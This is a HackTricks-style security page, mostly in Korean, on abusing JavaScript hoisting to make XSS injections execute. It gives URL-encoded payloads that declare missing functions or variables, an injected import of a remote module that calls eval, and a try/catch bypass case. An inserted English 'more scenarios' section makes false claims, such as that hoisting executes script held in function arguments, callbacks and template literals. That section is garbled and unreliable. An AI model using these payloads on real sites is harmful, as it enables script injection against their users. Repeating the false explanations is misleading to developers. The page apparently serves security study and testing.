JS Hoisting

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

기본 정보

JavaScript 언어에서는 호이스팅이라는 메커니즘이 있습니다. 이는 변수, 함수, 클래스 또는 import의 선언이 코드가 실행되기 전에 해당 범위의 맨 위로 올라가는 것을 설명합니다. 이 프로세스는 JavaScript 엔진에 의해 자동으로 수행되며, 엔진은 스크립트를 여러 번 통과하여 코드를 구문 오류를 확인하고 추상 구문 트리로 변환합니다.

첫 번째 통과에서 엔진은 구문 오류를 확인하고 코드를 추상 구문 트리로 변환합니다. 이 단계에는 호이스팅이 포함되어 특정 선언이 실행 컨텍스트의 맨 위로 이동하는 프로세스입니다. 구문 분석 단계가 성공적으로 완료되면 구문 오류가 없음을 나타내며, 스크립트 실행이 진행됩니다.

다음 사항을 이해하는 것이 중요합니다:

  1. 실행이 발생하려면 스크립트에 구문 오류가 없어야 합니다. 구문 규칙을 엄격히 준수해야 합니다.

  2. 스크립트 내에서 코드의 배치는 호이스팅으로 인해 실행에 영향을 줍니다. 실행되는 코드는 텍스트 표현과 다를 수 있습니다.

호이스팅의 종류

MDN에서 제공하는 정보에 따르면 JavaScript에는 네 가지 다른 유형의 호이스팅이 있습니다:

  1. 값 호이스팅: 변수의 값을 선언 라인 이전에 해당 범위 내에서 사용할 수 있게 합니다.

  2. 선언 호이스팅: 변수를 선언하기 전에 해당 범위 내에서 변수를 참조할 수 있게 합니다. 이 경우 변수의 값은 undefined가 됩니다.

  3. 이 유형은 실제 선언 라인 이전에 변수의 선언으로 인해 해당 범위 내에서 동작이 변경됩니다.

  4. 선언의 부작용이 해당 코드의 나머지가 평가되기 전에 발생합니다.

자세히 설명하면, 함수 선언은 1번 유형의 호이스팅 동작을 나타냅니다. var 키워드는 2번 유형의 동작을 보여줍니다. let, const, class를 포함하는 어휘적 선언은 3번 유형의 동작을 보여줍니다. 마지막으로, import 문은 1번과 4번 유형의 동작으로 호이스팅됩니다.

시나리오

따라서 선언되지 않은 객체 이후에 JS 코드를 삽입할 수 있는 시나리오가 있다면, 구문 오류를 수정하기 위해 선언하면 됩니다(오류가 발생하는 대신 코드가 실행됩니다):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

더 많은 시나리오

In addition to the basic scenarios discussed earlier, there are some more advanced scenarios where JavaScript hoisting can be exploited for XSS attacks. Let's take a look at them:

1. Hoisting in Function Arguments

When a function is called with arguments, JavaScript hoists the variable declarations within the function scope. This can be leveraged to execute malicious code. Consider the following example:

function greet(name) {
  alert('Hello, ' + name);
}

greet('<script>alert("XSS")</script>');

In this case, the name argument is vulnerable to XSS attacks. The JavaScript hoisting mechanism will treat the argument as a variable declaration and execute any JavaScript code passed as an argument.

2. Hoisting in Callback Functions

Callback functions are commonly used in JavaScript, especially in event-driven programming. When a callback function is defined, JavaScript hoists the variable declarations within the function scope. This can be exploited for XSS attacks. Consider the following example:

document.getElementById('btn').addEventListener('click', function() {
  var input = document.getElementById('input').value;
  alert('You entered: ' + input);
});

In this case, the input variable is vulnerable to XSS attacks. If an attacker can control the value of the input element, they can execute arbitrary JavaScript code.

3. Hoisting in Template Literals

Template literals are a feature introduced in ECMAScript 6 that allow for more flexible string interpolation. When using template literals, JavaScript hoists the variable declarations within the template literal. This can be exploited for XSS attacks. Consider the following example:

var name = '<script>alert("XSS")</script>';
var message = `Hello, ${name}`;

document.getElementById('output').innerHTML = message;

In this case, the name variable is vulnerable to XSS attacks. The JavaScript hoisting mechanism will treat the variable as a template literal and execute any JavaScript code within it.

By understanding these advanced scenarios, you can better identify and mitigate XSS vulnerabilities in your web applications.

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated